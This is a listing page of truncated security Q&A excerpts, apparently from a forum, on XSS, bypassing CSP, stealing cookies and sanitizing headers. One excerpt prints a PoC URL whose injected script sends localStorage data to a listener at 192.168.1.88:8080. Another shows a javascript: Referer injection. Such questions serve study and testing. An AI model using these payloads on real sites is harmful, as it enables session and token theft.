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I am attempting to perform an XSS attack on my server and have successfully bypassed the CSP. In my server code, I store all users in the following manner:
.get("/users", adminReq, (req, res) => {
…
})
Due to the adm… Continue reading Overcoming Middleware: Exploiting XSS to Retrieve Data
I have a website that includes CSP rules:
.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["’self’"],
scriptSrc: [
"’self’",
"cdnjs.cloudflare.com"
],
},
})
)
… Continue reading Overcoming Cookie Theft Barrier in XSS Attack despite CSP Implementation
I am using Content Security Policy (CSP) rules in my code to defend against XSS attacks. Here are the CSP rules I have implemented using Helmet:
.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["’self’"],
scriptSrc… Continue reading Bypassing CSP and implementing XSS attack
If a user has already logged in, and then the site sets a non HttpOnly cookie, then it seems possible to trick the user into doing something that would lead to the cookie being stolen.
If the cookie expires after one minute, it seems like … Continue reading Is it possible to trick a user into logging in to a site, then stealing a non HttpOnly cookie that will be set after they log in?
I’m testing a web application and I found a XSS vulnerability. I can inject schemas like data:// or tel:// but they have blocked the javascript:// schema. On current browsers the origin is null if I use data:// so data:// is not good.
I ha… Continue reading Cross Site Scripting with URL protocol schema javascript
An attacker used the HTTP_REFERER variable to inject Javascript by sending the following in the Header:
Referer:
javascript:alert(document.c… Continue reading How to sanitize $_SERVER url variables?
I’m interested in CVE-2022-0801, however the report is evasive.
Inappropriate implementation in HTML parser in Google Chrome prior to 99.0.4844.51 allowed a remote attacker to bypass XSS preventions via a crafted HTML page.
Is there any … Continue reading What was the root cause of CVE-2022-0801? [closed]
I’ve found a reflected XSS, but the problem is that the attack vector is the header (any header). Is there a way to develop an exploit scenario based on this?
I am trying to poc and XSS in the url, and I have it working fine with the below url:
https://example.com:15000/test/%3Cscript%20type=%22text/javascript%22%3Edocument.location=%22http://192.168.1.88:8080/%3fc=%22+localStorage.getItem(%22to… Continue reading + is decoded by the browser as space [closed]
I want to be 100% secure, I create raw html this way:
const template = document.createElement(‘template’)
template.innerHTML = html_raw
const cloned = template.content.cloneNode(true)
document.querySelector(‘#app’).appendChild(cloned);
W… Continue reading Secure way to output encoding HTML for insert raw html via javascript